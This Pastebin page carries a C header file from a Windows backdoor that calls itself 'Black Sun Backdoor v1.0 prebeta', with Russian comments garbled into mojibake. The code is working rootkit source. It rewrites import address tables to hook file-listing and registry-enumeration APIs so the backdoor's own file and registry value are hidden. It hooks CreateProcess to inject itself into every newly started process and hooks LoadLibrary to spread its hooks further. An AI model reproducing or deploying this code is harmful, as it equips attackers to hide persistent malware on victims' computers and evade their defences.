Advertisement
FlyFar

src/iathooking.h

May 17th, 2024
538
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 17.20 KB | Cybersecurity | 0 0
  1. /*
  2.  *  ---------------------------------------------------------------------
  3.  *         ____  _            _     _____            
  4.  *        |  _ \| |          | |   / ____|            
  5.  *        | |_) | | __ _  ___| | _| (___  _   _ _ __  
  6.  *        |  _ <| |/ _` |/ __| |/ /\___ \| | | | '_ \
  7.  *        | |_) | | (_| | (__|   < ____) | |_| | | | |
  8.  *        |____/|_|\__,_|\___|_|\_\_____/ \__,_|_| |_|
  9.  *                 Black Sun Backdoor v1.0 prebeta        
  10.  *
  11.  *                          (x) Cytech 2007
  12.  *
  13.  *  ---------------------------------------------------------------------
  14.  *  [iathooking.h]
  15.  *      ìîäóëü ïåðåõâàòà API ìåòîäîì ìîäèôèêàöèè òàáëèöû èìïîðòà (IAT)
  16.  *      â àäðåñíîì ïðîñòðàíñòâå ÷óæîãî ïðîöåññà ïî "Ðèõòåðó".
  17.  *  ---------------------------------------------------------------------
  18.  */
  19.  
  20.  
  21. // ----- [ ôóíêöèÿ ìîäèôèêàöèè òàáëèöû èìïîðòà â çàäàííîì ìîäóëå ] ----- //
  22.  
  23. #define MakePtr(Type, BaseAddr, RVA) ((Type)((DWORD)(BaseAddr) + (DWORD)(RVA)))
  24.  
  25. static DWORD WINAPI ReplaceIAT(PCSTR pszCModName, PROC pfnCurrent, PROC pfnNew, HMODULE hCModule)
  26. {
  27.     PULONG ulSize;
  28.     DWORD dwOrgProtect, dwBase;
  29.    
  30.     PIMAGE_DOS_HEADER pDOSHeader;
  31.     PIMAGE_NT_HEADERS pNTHeaders;
  32.     PIMAGE_IMPORT_DESCRIPTOR pIATDesc;
  33.     PIMAGE_THUNK_DATA pThunk;
  34.  
  35.     PSTR pszModName;
  36.     PROC* ppfn;
  37.    
  38.     pDOSHeader = (PIMAGE_DOS_HEADER)hCModule;
  39.    
  40.     if(pDOSHeader->e_magic != IMAGE_DOS_SIGNATURE)  // ïðîâåðêà DOS õýäåðà
  41.     {
  42.         return 0;
  43.     }
  44.    
  45.     pNTHeaders = MakePtr(PIMAGE_NT_HEADERS, pDOSHeader, pDOSHeader -> e_lfanew); // ïðîâåðêà NT õýäåðà
  46.    
  47.     if(pNTHeaders->Signature != IMAGE_NT_SIGNATURE)
  48.     {  
  49.         return 0;
  50.     }
  51.  
  52.     // Íàõîäèì â ìîäóëå ñìåùåíèå RVA íà IAT. Ôóíêöèÿ äîëæíà âåðíóòü íàì äåñêðèïòîð IAT
  53.     // åñëè âñå ïðîøëî óñïåøíî, â èíîì ñëó÷àå NULL (çíà÷èò â ìîäóëå íåò òàáëèöû èìïîðòà)
  54.    
  55.     pIATDesc = (PIMAGE_IMPORT_DESCRIPTOR)  
  56.     ImageDirectoryEntryToData(hCModule, TRUE, IMAGE_DIRECTORY_ENTRY_IMPORT, &ulSize);
  57.  
  58.     /*    
  59.      *     îê, òàáëèöà èìïîðòà ó íàñ â êàðìàíå. âîò èíòåðåñóþùàÿ íàñ ñòðóêòóðà IAT:
  60.      *    
  61.      *      typedef struct _IMAGE_IMPORT_DESCRIPTOR
  62.      *      {
  63.      *              union {
  64.      *                      DWORD   Characteristics;     // 0 for terminating null import descriptor
  65.      *                      DWORD   OriginalFirstThunk;  // RVA to original unbound IAT (PIMAGE_THUNK_DATA)
  66.      *                    };
  67.      *              DWORD   TimeDateStamp;               // 0 if not bound,
  68.      *                                                   // -1 if bound, and real date\time stamp
  69.      *                                                   //   in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND)
  70.      *                                                   // O.W. date/time stamp of DLL bound to (Old BIND)
  71.      *              DWORD   ForwarderChain;              // -1 if no forwarders
  72.      *              DWORD   Name;
  73.      *              DWORD   FirstThunk;                  // RVA to IAT (if bound this IAT has actual addresses)
  74.      *      } IMAGE_IMPORT_DESCRIPTOR;
  75.      *
  76.      *      typedef IMAGE_IMPORT_DESCRIPTOR UNALIGNED *PIMAGE_IMPORT_DESCRIPTOR;
  77.      */
  78.  
  79.     if (pIATDesc == NULL) return FALSE;
  80.    
  81.     // íàõîäèì äåñêðèïòîðîì íåîáõîäèìûé ðàçäåë èìïîðòà, íàñ èíòåðåñóåò ðàçäåë IAT -> Name,
  82.     // òî åñòü èìåíà ìîäóëåé, èç êîòîðûõ èìïîðòèðóþòñÿ íåîáõîäèìûå äëÿ íàñ ôóíêöèè
  83.     // ïåðå÷èñëÿåì äî òåõ ïîð ïîêà pszModName == kernel32.dll è çàòåì çàâåðøàåì öèêë,
  84.     // â èíîì ñëó÷àå (åñëè öèêë íå áðÿêíóëñÿ) ìîäóëü íå èìïîðòèðóåò íèêàêèõ ôóíêöèé
  85.    
  86.     for (; pIATDesc->Name; pIATDesc++)
  87.     {
  88.       pszModName = (PSTR) ((PBYTE) hCModule + pIATDesc->Name);
  89.       if (lstrcmpi(pszModName, pszCModName) == 0) break;
  90.     }
  91.     if (pIATDesc->Name == 0) return FALSE;
  92.  
  93.     //   ïîëó÷àåì òàáëèöó àäðåñîâ èìïîðòà (IAT->FirstThunk)
  94.  
  95.     pThunk = (PIMAGE_THUNK_DATA)
  96.     ((PBYTE) hCModule + pIATDesc->FirstThunk);
  97.    
  98.     // òåïåðü äëÿ êàæäîãî ìîäóëÿ ïåðå÷èñëÿåì âñå àäðåñà ôóíêöèé
  99.     // è ñðàâíèâàåì ñ àäðåñîì íåîáõîäìîé íàì ôóíêöèè (òî åñòü òîé,
  100.     // êîòîðóþ ìû áóäåì ñïëàéñèòü):
  101.     // åñëè ppfn(àäðåñ ôóíêöèèè 'x' â IAT->Thunk) == GetProcAddress("module", 'x') òî
  102.     // ïàò÷èì àäðåñà â IAT íà ñâîè: 
  103.     // ïðèìåð ñïëàéñèíãà íà RegEnumValueW â RegEdit.exe:
  104.     //
  105.     // áûëî:
  106.     //              01001080 > . 0F77DC77       DD ADVAPI32.RegOpenKeyW
  107.     //              01001084 > . CCD7DC77       DD ADVAPI32.RegSetValueExW
  108.     //              01001088 > . 7D8FDE77       DD ADVAPI32.RegCreateKeyW
  109.     //              0100108C > . 8180DC77       DD ADVAPI32.RegEnumValueW <-- RegEnumValueW
  110.     //              01001090 > . 49D6DC77       DD ADVAPI32.RegEnumKeyW
  111.     // ñòàëî:
  112.     //              01001080 > . 0F77DC77       DD ADVAPI32.RegOpenKeyW
  113.     //              01001084 > . CCD7DC77       DD ADVAPI32.RegSetValueExW
  114.     //              01001088 > . 7D8FDE77       DD ADVAPI32.RegCreateKeyW
  115.     //              0100108C > . 74130048       DD 48001374      <---- pwned :D BASEADDRESS áûë 0x48000000
  116.     //              01001090 > . 49D6DC77       DD ADVAPI32.RegEnumKeyW
  117.  
  118.    
  119.     for (; pThunk->u1.Function; pThunk++)
  120.     {
  121.         ppfn = (PROC*) &pThunk->u1.Function;
  122.  
  123.         if(*ppfn == pfnCurrent)
  124.         {
  125.             VirtualProtect(ppfn, sizeof(pfnNew), PAGE_READWRITE, &dwOrgProtect);
  126.            
  127.                 WriteProcessMemory
  128.                 (
  129.                     GetCurrentProcess(), // ïàò÷èì â òåêóùåì ïðîöåññå
  130.                     ppfn,                // ñòàðûé àäðåñ ôóíêöèè
  131.                     &pfnNew,             // íàøà íîâàÿ ôóíêöèÿ 'x'
  132.                     sizeof(pfnNew),      // ðàçìåð íîâîé ôóíêöèè 'x'
  133.                     NULL                 // íàì ýòî íå íàäî
  134.                 );
  135.            
  136.             VirtualProtect(ppfn, sizeof(pfnNew), dwOrgProtect , &dwOrgProtect);
  137.             return TRUE;
  138.         }
  139.     }
  140.         // åñëè íåòó èíòåðåñóþùåé íàñ ôóíêöèè, òî âûõîäèì )
  141.         return FALSE;
  142. }
  143.  
  144. // --- [ ôóíêöèÿ ïåðå÷èñëåíèÿ âñåõ ìîäóëåé äëÿ îòäåëüíîãî ïðîöåññà ] --- //
  145.  
  146. static DWORD WINAPI ReplaceIATEntryInAllMods(PCSTR pszCModName, PROC pfnCurrent, PROC pfnNew)
  147. {
  148.     HANDLE m_Snap = INVALID_HANDLE_VALUE;
  149.     MODULEENTRY32 me = { sizeof(me) };
  150.    
  151.     m_Snap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, GetCurrentProcessId());
  152.    
  153.     if (m_Snap == INVALID_HANDLE_VALUE) return 0;
  154.     if (!Module32First(m_Snap, &me)) return 0;
  155.  
  156.     do
  157.     {
  158.         ReplaceIAT(pszCModName, pfnCurrent, pfnNew, me.hModule); // patch it!
  159.     } while (Module32Next(m_Snap, &me));
  160.    
  161.     return 0;
  162. }
  163.  
  164. // ------------------ [ âåðñèè çàìåíÿåìûõ ôóíêöèé ] -------------------- //
  165.  
  166. /*  // test, test :)
  167.  *  int __stdcall xMessageBoxW(HWND hwnd, LPCWSTR lpText, LPCWSTR lpCaption, UINT uType)
  168.  *  {
  169.  *      return MessageBoxW(hwnd,L"this messagebox was 0wn3d",lpCaption,uType);
  170.  *  }
  171.  *
  172.  */
  173.    
  174. // -----------------------------------------------------------------------------------------
  175. // ANSI è UNICODE âåðñèè FindFirstFile/FindNexFile.
  176. // Ñïëàéñèíã ýòèõ ôóíêöèé íåîáõîäèì äëÿ ñîêðûòèÿ ñâîèõ ôàéëîâ â ñèñòåìå.
  177. // -----------------------------------------------------------------------------------------
  178.  
  179. static HANDLE WINAPI xFindFirstFileW (PCWSTR lpFileName, PWIN32_FIND_DATAW lpFindFileData)
  180. {
  181.     char szName [256];
  182.     HANDLE ret = FindFirstFileW(lpFileName, lpFindFileData);
  183.     WideCharToMultiByte(CP_ACP, 0, lpFindFileData->cFileName, -1, szName, 256, NULL, NULL);
  184.  
  185.     if (lstrcmpiA(szName, EXENAME) == 0)
  186.     {
  187.         if (!FindNextFileW(ret, lpFindFileData))
  188.         {
  189.             SetLastError(ERROR_NO_MORE_FILES);
  190.             return INVALID_HANDLE_VALUE;
  191.         }
  192.     }
  193.     return ret;
  194. }
  195.  
  196. static BOOL WINAPI xFindNextFileW(HANDLE hFindFile, LPWIN32_FIND_DATAW lpFindFileData)
  197. {
  198.     char szName [256];
  199.     BOOL ret = FindNextFileW(hFindFile, lpFindFileData);
  200.     WideCharToMultiByte(CP_ACP, 0,lpFindFileData->cFileName, -1, szName, 256, NULL, NULL);
  201.  
  202.     if (lstrcmpiA(szName, EXENAME) == 0)
  203.     {
  204.         ret = FindNextFileW(hFindFile, lpFindFileData);
  205.     }
  206.     return ret;
  207. }
  208.  
  209. static HANDLE WINAPI xFindFirstFileA (PCSTR lpFileName, PWIN32_FIND_DATAA lpFindFileData)
  210. {
  211.     HANDLE ret = FindFirstFileA(lpFileName, lpFindFileData);
  212.     if (lstrcmpiA(lpFindFileData->cFileName,EXENAME) == 0)
  213.     {
  214.         if (!FindNextFileA(ret, lpFindFileData)) {
  215.             SetLastError(ERROR_NO_MORE_FILES);
  216.             return INVALID_HANDLE_VALUE;
  217.         }
  218.     }
  219.     return ret;
  220. }
  221.  
  222. static BOOL WINAPI xFindNextFileA(HANDLE hFindFile, LPWIN32_FIND_DATAA lpFindFileData)
  223. {
  224.     BOOL ret = FindNextFileA(hFindFile, lpFindFileData);
  225.     if (lstrcmpiA(lpFindFileData->cFileName, EXENAME) == 0)
  226.     {
  227.         ret = FindNextFileA(hFindFile, lpFindFileData);
  228.     }
  229.     return ret;
  230. }
  231.  
  232. // -----------------------------------------------------------------------------------------
  233. // ANSI è UNICODE âåðñèè RegEnumValue.
  234. // Ñïëàéñèíã ýòèõ ôóíêöèè íåîáõîäèì äëÿ ñîêðûòèÿ ñâîèõ êëþ÷åé â ðååñòðå
  235. // -----------------------------------------------------------------------------------------
  236.  
  237. static LONG WINAPI xRegEnumValueA(HKEY hKey, DWORD dwIndex, LPSTR lpValueName,
  238.                   LPDWORD lpcValueName,  LPDWORD lpReserved,
  239.                   LPDWORD lpType, LPBYTE lpData, LPDWORD lpcbData)
  240. {
  241.     LONG ret = RegEnumValueA(hKey, dwIndex, lpValueName,
  242.         lpcValueName,  lpReserved, lpType, lpData, lpcbData);
  243.  
  244.     if (lstrcmpiA(lpValueName,REGNAME) == 0)
  245.         return 1;
  246.  
  247.     return ret;
  248. }
  249.  
  250. static LONG WINAPI xRegEnumValueW(HKEY hKey, DWORD dwIndex, LPWSTR lpValueName,
  251.                   LPDWORD lpcValueName,  LPDWORD lpReserved,
  252.                   LPDWORD lpType, LPBYTE lpData, LPDWORD lpcbData)
  253. {
  254.     char szName [256];
  255.     LONG ret = RegEnumValueW(hKey, dwIndex, lpValueName,
  256.         lpcValueName,  lpReserved, lpType, lpData, lpcbData);
  257.     WideCharToMultiByte(CP_ACP, 0, lpValueName, -1, szName, 256, NULL, NULL);
  258.  
  259.     if (lstrcmpiA(szName,REGNAME) == 0)
  260.         return 1;
  261.     return ret;
  262. }
  263.  
  264.  
  265. // -----------------------------------------------------------------------------------------
  266. // ANSI è UNICODE âåðñèè CreteProcess.
  267. // Ñïëàéñèíã ýòèõ ôóíêöèé íåîáõîäèì äëÿ òîãî,÷òîáû èíæåêòèðîâàòü ñåáÿ â çàïóñêàåìûå ïðîöåññû
  268. // -----------------------------------------------------------------------------------------
  269.  
  270.  
  271. static BOOL WINAPI xCreateProcessA(LPCSTR lpApplicationName,
  272.     LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes,
  273.     LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles,
  274.     DWORD dwCreationFlags, LPVOID lpEnvironment,
  275.     LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo,
  276.     LPPROCESS_INFORMATION lpProcessInformation)
  277. {
  278.     BOOL ret, b;   
  279.     DWORD dwRmtThdID, dwStInj; 
  280.  
  281.     ret = CreateProcessA(lpApplicationName, lpCommandLine,
  282.                              lpProcessAttributes,
  283.                              lpThreadAttributes,
  284.                              bInheritHandles, dwCreationFlags | CREATE_SUSPENDED,
  285.                              lpEnvironment, lpCurrentDirectory,
  286.                              lpStartupInfo,
  287.                              lpProcessInformation);
  288.                              
  289.     dwStInj = StartProcInject(lpProcessInformation->dwProcessId, NULL, StealthMain);
  290.                
  291.         if(StartProcInject)
  292.         {
  293.             ResumeThread(lpProcessInformation->hThread);
  294.         }
  295.  
  296.     return ret;
  297. }
  298.  
  299. static BOOL WINAPI xCreateProcessW(LPCWSTR lpApplicationName,
  300.     LPWSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes,
  301.     LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles,
  302.     DWORD dwCreationFlags, LPVOID lpEnvironment,
  303.     LPCWSTR lpCurrentDirectory, LPSTARTUPINFOW lpStartupInfo,
  304.     LPPROCESS_INFORMATION lpProcessInformation)
  305. {
  306.     BOOL ret, b;   
  307.     DWORD dwRmtThdID, dwStInj; 
  308.  
  309.     ret = CreateProcessW(lpApplicationName, lpCommandLine,
  310.                              lpProcessAttributes,
  311.                              lpThreadAttributes,
  312.                              bInheritHandles, dwCreationFlags | CREATE_SUSPENDED,
  313.                              lpEnvironment, lpCurrentDirectory,
  314.                              lpStartupInfo,
  315.                              lpProcessInformation);
  316.                              
  317.     dwStInj = StartProcInject(lpProcessInformation->dwProcessId, NULL, StealthMain);
  318.                
  319.         if(dwStInj)
  320.         {
  321.             ResumeThread(lpProcessInformation->hThread);
  322.         }
  323.  
  324.     return ret;
  325. }
  326.  
  327. // -----------------------------------------------------------------------------------------
  328. // ANSI è UNICODE âåðñèè LoadLibrary/LoadLibraryEx.
  329. // Ñïëàéñèíã ýòèõ ôóíêöèé íåîáõîäèì äëÿ òîãî,÷òîáû èíæåêòèðîâàòü ñåáÿ â ïîäãóæàåìûå ìîäóëè
  330. // -----------------------------------------------------------------------------------------
  331.  
  332. static HMODULE WINAPI xLoadLibraryA(PCSTR a)
  333. {
  334.     HMODULE ret = LoadLibraryA(a);
  335.     if (ret != NULL) SetUpStealthHooks(ret);
  336.     return ret;
  337. }
  338.  
  339. static HMODULE WINAPI xLoadLibraryW(PCWSTR a)
  340. {
  341.     HMODULE ret = LoadLibraryW(a);
  342.     if (ret != NULL) SetUpStealthHooks(ret);
  343.     return ret;
  344. }
  345.  
  346. static HMODULE WINAPI xLoadLibraryExA(PCSTR a, HANDLE b, DWORD c)
  347. {
  348.     HMODULE ret = LoadLibraryExA(a,b,c);
  349.     if ((ret!=NULL)&&(c & LOAD_LIBRARY_AS_DATAFILE)==0) SetUpStealthHooks(ret);
  350.     return ret;
  351. }
  352.  
  353. static HMODULE WINAPI xLoadLibraryExW(PCWSTR a, HANDLE b, DWORD c)
  354. {
  355.     HMODULE ret = LoadLibraryExW(a,b,c);
  356.     if ((ret!=NULL)&&(c & LOAD_LIBRARY_AS_DATAFILE)==0) SetUpStealthHooks(ret);
  357.     return ret;
  358. }  
  359.  
  360. // ---------------- [ ñïëàéñèíã äëÿ îäíîãî îïðåäåëåííîãî ìîäóëÿ ] ------------------- //
  361.  
  362. static DWORD WINAPI SetUpStealthHooks(HANDLE hmodCaller)
  363. {
  364.    
  365.     /* // test, test :)
  366.      *  ReplaceIAT // MessageBoxW
  367.      *  (
  368.      *              "user32.dll",
  369.      *              GetProcAddress(GetModuleHandle("user32.dll"),"MessageBoxW"),
  370.      *              (PROC)xMessageBoxW,
  371.      *              hmodCaller
  372.      *  );
  373.      */
  374.  
  375.     ReplaceIAT // RegEnumValueW
  376.     (
  377.         ADVAPI32_DLL,
  378.         GetProcAddress(GetModuleHandle(ADVAPI32_DLL), "RegEnumValueW"),
  379.         (PROC)xRegEnumValueW,
  380.         hmodCaller
  381.     );
  382.    
  383.     ReplaceIAT // RegEnumValueA
  384.     (
  385.         ADVAPI32_DLL,
  386.         GetProcAddress(GetModuleHandle(ADVAPI32_DLL), "RegEnumValueA"),
  387.         (PROC)xRegEnumValueA,
  388.         hmodCaller
  389.     );
  390.  
  391.     ReplaceIAT // FindFirstFileA
  392.     (
  393.         KERNEL32_DLL,
  394.         GetProcAddress(GetModuleHandle(KERNEL32_DLL),"FindFirstFileA"),
  395.         (PROC)xFindFirstFileA,
  396.         hmodCaller
  397.     );
  398.     ReplaceIAT //FindNextFileA
  399.     (
  400.         KERNEL32_DLL,
  401.         GetProcAddress(GetModuleHandle(KERNEL32_DLL),"FindNextFileA"),
  402.         (PROC)xFindNextFileA,
  403.         hmodCaller
  404.     );
  405.     ReplaceIAT // FindFirstFileW
  406.     (
  407.         KERNEL32_DLL,
  408.         GetProcAddress(GetModuleHandle(KERNEL32_DLL), "FindFirstFileW"),
  409.         (PROC)xFindFirstFileW,
  410.         hmodCaller
  411.     );
  412.     ReplaceIAT // FindNextFileW
  413.     (
  414.         KERNEL32_DLL,
  415.         GetProcAddress(GetModuleHandle(KERNEL32_DLL),"FindNextFileW"),
  416.         (PROC)xFindNextFileW,
  417.         hmodCaller
  418.     );
  419.  
  420.     ReplaceIAT // LoadLibraryA
  421.     (
  422.         KERNEL32_DLL,
  423.         GetProcAddress(GetModuleHandle(KERNEL32_DLL),"LoadLibraryA"),
  424.         (PROC)xLoadLibraryA,
  425.         hmodCaller
  426.     );
  427.     ReplaceIAT // LoadLibraryW
  428.     (
  429.         KERNEL32_DLL,
  430.         GetProcAddress( GetModuleHandle(KERNEL32_DLL),"LoadLibraryW"),
  431.         (PROC)xLoadLibraryW,
  432.         hmodCaller
  433.     );
  434.     ReplaceIAT // LoadLibraryExA
  435.     (
  436.         KERNEL32_DLL,
  437.         GetProcAddress(GetModuleHandle(KERNEL32_DLL),"LoadLibraryExA"),
  438.         (PROC)xLoadLibraryExA,
  439.         hmodCaller
  440.     );
  441.     ReplaceIAT // LoadLibraryExW
  442.     (
  443.         KERNEL32_DLL,
  444.         GetProcAddress(GetModuleHandle(KERNEL32_DLL),"LoadLibraryExW"),
  445.         (PROC)xLoadLibraryExW,
  446.         hmodCaller
  447.     );
  448.  
  449. return 0;
  450. }
  451.  
  452. // ------------------ [ ñïëàéñèíã âî âñåõ ìîäóëÿõ ] -------------------- //
  453.  
  454. static DWORD WINAPI Stealth()
  455. {
  456.  
  457.     ReplaceIATEntryInAllMods
  458.     (
  459.         ADVAPI32_DLL,
  460.         GetProcAddress(GetModuleHandle(ADVAPI32_DLL), "RegEnumValueA"),
  461.         (PROC)xRegEnumValueA
  462.     );
  463.  
  464.     ReplaceIATEntryInAllMods
  465.     (
  466.         ADVAPI32_DLL,
  467.         GetProcAddress(GetModuleHandle(ADVAPI32_DLL),"RegEnumValueW"),
  468.         (PROC)xRegEnumValueW
  469.     );
  470.  
  471.     ReplaceIATEntryInAllMods
  472.     (
  473.         KERNEL32_DLL,
  474.         GetProcAddress(GetModuleHandle(KERNEL32_DLL),"CreateProcessA"),
  475.         (PROC)xCreateProcessA
  476.     ); 
  477.    
  478.     ReplaceIATEntryInAllMods
  479.     (
  480.         KERNEL32_DLL,
  481.         GetProcAddress(GetModuleHandle(KERNEL32_DLL), "CreateProcessW"),
  482.         (PROC)xCreateProcessW
  483.     );
  484.    
  485.     ReplaceIATEntryInAllMods
  486.     (
  487.         KERNEL32_DLL,
  488.         GetProcAddress(GetModuleHandle(KERNEL32_DLL),"FindFirstFileA"),
  489.         (PROC)xFindFirstFileA
  490.     );
  491.    
  492.     ReplaceIATEntryInAllMods
  493.     (
  494.         KERNEL32_DLL,
  495.         GetProcAddress(GetModuleHandle(KERNEL32_DLL),"FindNextFileA"),
  496.         (PROC)xFindNextFileA
  497.     );
  498.    
  499.     ReplaceIATEntryInAllMods
  500.     (
  501.         KERNEL32_DLL,
  502.         GetProcAddress(GetModuleHandle(KERNEL32_DLL),"FindFirstFileW"),
  503.         (PROC)xFindFirstFileW
  504.     );
  505.    
  506.     ReplaceIATEntryInAllMods
  507.     (
  508.         KERNEL32_DLL,
  509.         GetProcAddress(GetModuleHandle(KERNEL32_DLL),"FindNextFileW"),
  510.         (PROC)xFindNextFileW
  511.     );
  512.  
  513.     ReplaceIATEntryInAllMods
  514.     (
  515.         KERNEL32_DLL,
  516.         GetProcAddress(GetModuleHandle(KERNEL32_DLL),"LoadLibraryA"),
  517.         (PROC)xLoadLibraryA
  518.     );
  519.    
  520.     ReplaceIATEntryInAllMods
  521.     (
  522.         KERNEL32_DLL,
  523.         GetProcAddress(GetModuleHandle(KERNEL32_DLL),"LoadLibraryW"),
  524.         (PROC)xLoadLibraryW
  525.     );
  526.    
  527.     ReplaceIATEntryInAllMods
  528.     (
  529.         KERNEL32_DLL,
  530.         GetProcAddress(GetModuleHandle(KERNEL32_DLL),"LoadLibraryExA"),
  531.         (PROC)xLoadLibraryExA
  532.     );
  533.    
  534.     ReplaceIATEntryInAllMods
  535.     (
  536.         KERNEL32_DLL,
  537.         GetProcAddress(GetModuleHandle(KERNEL32_DLL),"LoadLibraryExW"),
  538.         (PROC)xLoadLibraryExW
  539.     );
  540.  
  541.     return 0;
  542. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement